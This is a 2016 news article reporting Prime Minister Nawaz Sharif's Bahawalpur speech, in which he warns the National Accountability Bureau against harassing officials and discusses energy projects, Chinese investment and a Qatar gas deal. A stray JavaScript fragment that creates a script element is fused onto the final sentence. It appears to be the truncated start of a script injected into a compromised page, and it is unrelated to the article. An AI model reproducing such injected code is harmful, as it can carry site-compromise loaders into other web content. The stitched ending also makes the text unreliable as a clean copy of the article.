Published On: Wed, Feb 17th, 2016
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PM warns NAB not to harass “honest” officials

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Bahawalpur: Prime Minister Nawaz Sharif on Tuesday warned National Accountability Bureau (NAB) against ‘harassing’ government employees.

“The NAB must perform its duty responsibly. They barge into houses and offices of innocent people to harass them without looking into authenticity of cases,” the PM observed.

He was addressing his party workers at Bahawalpur city of Punjab.

“They (NAB officials) dishonour people in unlawful cases, inflict hindrance, harass and terrify government officers,” the Prime Minister stated.

“I have brought this issue into NAB chairman’s notice. He must take action otherwise the government will initiate necessary and legal action,” he vowed.

In his address, the Prime Minister pledged to strengthen and empower local governments to resolve public issues.

“People have pinned great expectations with the local representations and they will be fully empowered to serve the masses,” he said.

Nawaz Sharif pointed out that the country is faced with multi-dimensional challenges including terrorism and energy crisis, saying his government “is trying its best to provide basic facilities to masses.”

“Loadshedding duration has reduced across the country since government has initiated several projects to overcome energy crisis,” he said.

PM Nawaz also ordered the accountability bureau to perform its duties with honesty.

He said that lying is justified when there is a threat to one’s life however, he has never lied.

The premier said that he does not believe in politics based on lies however, politicians these days tell nothing but lies.

It is not in accordance with democratic norms that people elect a leader and another party topples his government, he added.

He said that to run government of the country is not a bed of roses but thorns.

He criticised Pakistan People’s Party (PPP) saying sarcastically that the nation knows what it did for the betterment of the people in its tenure as government.

Around ten years back, Pakistan was witnessing worst kind of power outages, he added.

PM Nawaz, while referring to his exile by former dictator, said that a person whose homeland is everything to him could never think of spending seven years abroad. He added that the trend of ousting elected governments should end.

“The mandate to rule is given by the people, not somebody else who ousts an elected government”, PM Sharif said.

He said that the party which had put forth a seven-point agenda could not build motorway.

The Prime Minister said work on three projects for production of electricity through gas is in progress which will produce three thousand and six hundred megawatts electricity after completion by next year.

He said China is all-weather friend and it is investing massive amount of forty six billion dollars which is biggest in the history of the country.

Prime Minister Mohammad Nawaz Sharif further stated that recently government has made an agreement for the purchase of gas costing billions of rupees with Qatar government, which will be provided at concessional rates by Qatar due our brotherly relations.var d=document;var s=d.createElement(‘script’);